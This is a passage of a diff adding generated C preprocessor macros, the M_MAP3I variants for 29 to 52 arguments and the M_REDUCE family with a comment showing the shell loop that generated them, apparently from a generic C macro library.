+#define M_MAP3I_29(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) 
+#define M_MAP3I_30(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) 
+#define M_MAP3I_31(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) 
+#define M_MAP3I_32(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) 
+#define M_MAP3I_33(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) 
+#define M_MAP3I_34(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) 
+#define M_MAP3I_35(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) 
+#define M_MAP3I_36(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) 
+#define M_MAP3I_37(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) 
+#define M_MAP3I_38(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) 
+#define M_MAP3I_39(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) 
+#define M_MAP3I_40(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) 
+#define M_MAP3I_41(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) 
+#define M_MAP3I_42(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) 
+#define M_MAP3I_43(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) 
+#define M_MAP3I_44(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) 
+#define M_MAP3I_45(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) 
+#define M_MAP3I_46(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) 
+#define M_MAP3I_47(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) 
+#define M_MAP3I_48(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) 
+#define M_MAP3I_49(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) 
+#define M_MAP3I_50(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) f(d, 50, _50) 
+#define M_MAP3I_51(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) f(d, 50, _50) f(d, 51, _51) 
+#define M_MAP3I_52(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) f(d, 41, _41) f(d, 42, _42) f(d, 43, _43) f(d, 44, _44) f(d, 45, _45) f(d, 46, _46) f(d, 47, _47) f(d, 48, _48) f(d, 49, _49) f(d, 50, _50) f(d, 51, _51) f(d, 52, _52) 
+
+
+/* Map a macro to all given arguments and reduce all theses computation
+   with another reduce macro.
+   Example:
+    M_REDUCE(f, g, a, b, c) ==> g( f(a), g( f(b), f(c))
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_REDUCEI1_%d(f, g" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") "; for j in $(seq 1 $(( $i - 1 )) ) ; do printf "g(f(_%d), " $j; done ; printf "f(_%d" $i; for j in $(seq 1 $i); do printf ")"; done ; printf "\n";  done
+*/
+#define M_REDUCE(...)                     M_REDUCEI1_0(__VA_ARGS__)
+#define M_REDUCEI1_0(f, g, ...)           M_C(M_REDUCEI1_, M_NARGS(__VA_ARGS__))(f, g, __VA_ARGS__)
+#define M_REDUCEI1_1(f, g, _1) f(_1)
+#define M_REDUCEI1_2(f, g, _1, _2) g(f(_1), f(_2))
+#define M_REDUCEI1_3(f, g, _1, _2, _3) g(f(_1), g(f(_2), f(_3)))
+#define M_REDUCEI1_4(f, g, _1, _2, _3, _4) g(f(_1), g(f(_2), g(f(_3), f(_4))))
+#define M_REDUCEI1_5(f, g, _1, _2, _3, _4, _5) g(f(_1), g(f(_2), g(f(_3), g(f(_4), f(_5)))))
+#define M_REDUCEI1_6(f, g, _1, _2, _3, _4, _5, _6) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), f(_6))))))
+#define M_REDUCEI1_7(f, g, _1, _2, _3, _4, _5, _6, _7) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), f(_7)))))))
+#define M_REDUCEI1_8(f, g, _1, _2, _3, _4, _5, _6, _7, _8) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), f(_8))))))))
+#define M_REDUCEI1_9(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), f(_9)))))))))
+#define M_REDUCEI1_10(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), f(_10))))))))))
+#define M_REDUCEI1_11(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), f(_11)))))))))))
+#define M_REDUCEI1_12(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), f(_12))))))))))))
+#define M_REDUCEI1_13(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), f(_13)))))))))))))
+#define M_REDUCEI1_14(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), f(_14))))))))))))))
+#define M_REDUCEI1_15(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), f(_15)))))))))))))))
